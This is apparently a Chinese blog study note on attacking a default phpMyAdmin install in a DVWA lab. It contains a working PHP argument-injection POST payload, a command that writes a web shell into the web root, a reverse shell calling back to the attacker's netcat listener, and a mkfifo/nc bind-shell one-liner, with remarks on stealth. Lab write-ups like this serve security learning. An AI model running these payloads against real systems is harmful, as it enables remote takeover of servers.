关于phpMyAdmin默认安装漏洞的学习笔记

来源:互联网 发布:资源管理系统源码 编辑:程序博客网 时间:2024/05/03 00:43
简单地说,phpMyAdmin是安装在Web服务器上的接口界面,主要用于使用php来管理安装在服务器上的后台数据库。在老的版本中,若管理员没有对相应配置信息进行处理的话就会导致漏洞的存在。在dvwa中phpMyAdmin的默认安装中会存在漏洞,用户可以在路径中不需要输入账号密码就可以直接访问其中的phpMyAdmin/setup目录:
http://10.10.10.137/phpMyAdmin/setup

利用:

直接利用漏洞执行php中的系统命令返回结果:

可以在Burpsuite中将下列代码上传:

POST http://10.10.10.137/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1Host:10.10.10.137Content-Length: 34<?phppassthru('pwd');die();?>

上述URL中的代码主要是修改php的主配置文件php.ini,从而可以执行下面插入的php代码;在php代码中,passthru()函数会执行里面的操作系统执行并显示出来,die()函数则会将无关的页面返回信息终止掉、方便查看结果信息。这样的方法并不会在服务器中保存任何文件,只是代码执行之后就把结果返回过来。

加了die()函数:



不加die()函数:




这里将一下在PHP中system(),exec(),passthru()这三个相似的函数,它们都可以调用外部系统命令,但有点小区别:

system():直接输出所有结果并返回最后一行shell结果。 

exec():不输出所有结果而是显示结果的最后一行,所有结果可以保存到一个返回的数组里面。 

passthru():把命令执行的所有结果直接输出。

向服务器中写文件:

在前面代码中passthru()函数里面的内容可以替换为:

echo "<?php \$cmd=\$_GET["cmd"]; system(\$cmd); ?>" > /var/www/cmd.php

上面代码中的反斜杠用于转义。整个代码可以实现将php代码保存到服务器的Web根目录中从而能够通过访问该目录的文件来实现输入命令:



但是不好的地方就是在服务器中生成一个文件,容易被管理员发现。


通过php-reverse-shell.php的php反弹shell:

文件在Kali的/usr/share/webshells/php/php-reverse-shell.php

先复制出来修改里面反弹的IP地址为Kali的IP,端口也可以修改:



然后将整个php代码覆盖掉:


在Kali中nc开启监听1234端口,然后发送该POST请求,直接看到反弹的shell:



这样的好处在于不会在服务器写文件,因而更为隐蔽。


服务器主动打开监听端口:

还可以将PHP内容改为让服务器主动打开端口监听从而get shell:
<?phpecho system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');?>

其中mkfifo命令创建一个FIFO文件,即命名管道;将sh即shell读取到新建的命名管道中并通过nc监听再重定向到该命名管道中,即将在监听端口接收到的命令重定向到命名管道中的sh进行执行。

然后再Kali中直接通过nc连接get shell:



输入查看进程的命令:ps aux

可查看到开启了4444端口的监听,也就是说会容易被发现:



接着输入:netstat -pantu

可看到4444端口是和IP为10.10.10.151的主机进行监听连接的:





暂且这么点,有新的学习体会便更新~

0 0